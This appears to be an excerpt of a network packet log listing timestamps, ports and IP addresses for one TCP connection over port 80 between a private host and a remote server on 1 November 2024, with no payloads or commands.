Nov 1, 2024 13:42:01.938941956 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.938942909 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.938955069 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.938957930 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.938966990 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.938971996 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.938977957 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.938987017 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.938990116 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939002991 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939021111 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939030886 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939049006 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939059973 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939069986 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939089060 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939112902 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939218998 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939229965 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939240932 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939251900 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939263105 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939264059 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939276934 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939279079 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939289093 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939294100 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939301968 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939318895 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939318895 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939323902 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939332962 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939343929 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939344883 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939357042 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939363956 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939369917 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939376116 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939382076 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939393044 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939393997 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939405918 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939410925 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939424038 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939440966 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939449072 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939642906 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939654112 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939665079 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939683914 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939688921 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939696074 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939697981 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939707041 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939718962 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939729929 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939729929 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939740896 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939743996 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939754963 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939757109 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939766884 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939775944 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939778090 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939790010 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939795971 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939804077 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939804077 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939816952 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939826965 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939827919 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939841986 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939841986 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.939860106 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939867020 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.939887047 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940071106 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940083027 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940093994 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940105915 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940114975 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940116882 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940125942 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940129995 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940140963 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940150023 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940152884 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940164089 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940167904 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940181017 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940181017 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940196037 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940200090 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940207005 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940217972 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940222979 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940231085 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940236092 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940242052 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940256119 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940258026 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940268040 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940274954 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940280914 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940294027 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940294027 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940306902 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:01.940309048 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940327883 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:01.940335989 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.012958050 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.012976885 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.012988091 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.012999058 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.013011932 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.013024092 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.013140917 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.013140917 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.013231039 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.013242006 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.013252974 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.013279915 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.013290882 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053464890 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053514004 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053519011 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053529978 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053555012 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053575039 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053580999 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053592920 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053602934 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053617001 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053627014 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053627014 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053648949 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053679943 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053688049 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053692102 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053704023 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053714037 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053725004 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053725958 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053738117 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053766012 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053788900 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053798914 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053809881 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053821087 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053833008 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053842068 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053845882 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053858995 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053890944 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053927898 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053945065 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053956032 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053967953 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053972006 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.053978920 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.053992033 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054002047 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054027081 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054039001 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054059982 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054070950 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054080963 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054097891 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054100990 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054116011 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054116964 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054132938 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054145098 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054146051 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054157972 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054169893 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054171085 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054179907 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054193020 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054198027 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054205894 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054218054 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054230928 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054259062 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054318905 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054331064 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054342985 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054358959 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054369926 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054387093 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054431915 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054442883 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054449081 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054460049 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054475069 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054486036 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054488897 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054497957 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054508924 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054516077 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054538965 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054560900 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054565907 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054577112 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054588079 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054599047 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054615021 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054636002 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054652929 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054712057 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054723024 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054733038 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054744959 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054755926 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054755926 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054766893 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054778099 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054780006 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054796934 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054804087 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054809093 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054817915 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054821014 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054832935 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054842949 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054845095 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054853916 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054862976 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054867029 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054879904 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054889917 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054892063 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054905891 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054914951 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054917097 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.054935932 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.054948092 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055018902 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055028915 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055063963 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055093050 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055104017 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055114985 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055126905 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055133104 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055140972 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055151939 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055160999 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055162907 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055191994 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055202961 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055254936 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055265903 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055277109 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055289030 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055300951 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055301905 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055321932 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055329084 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055335999 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055349112 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055375099 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055413008 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055424929 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055433989 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055445910 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055458069 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055460930 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055470943 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055481911 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055490017 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055495024 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055506945 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055516958 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055517912 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055526972 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055536985 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055540085 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055552006 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055557013 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055565119 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055574894 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055577040 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055588961 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055593967 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055602074 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055613041 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055632114 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055658102 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055670023 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055850029 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055866003 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055876970 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055890083 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055890083 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055902004 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055906057 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055913925 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055919886 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055926085 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055938005 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055939913 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055949926 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055953026 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055960894 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055973053 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055979967 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055984974 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.055991888 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.055999041 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056010008 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056010962 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056024075 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056034088 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056061029 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056241989 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056252956 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056265116 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056276083 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056282997 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056288958 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056299925 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056307077 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056310892 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056322098 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056334019 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056335926 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056344986 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056349039 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056356907 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056369066 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056380033 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056381941 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056391954 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056402922 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056412935 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056416035 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056425095 CET	49730	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:02.056432962 CET	80	49730	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:02.056452036 CET	49730	80	192.168.2.4	95.215.207.176
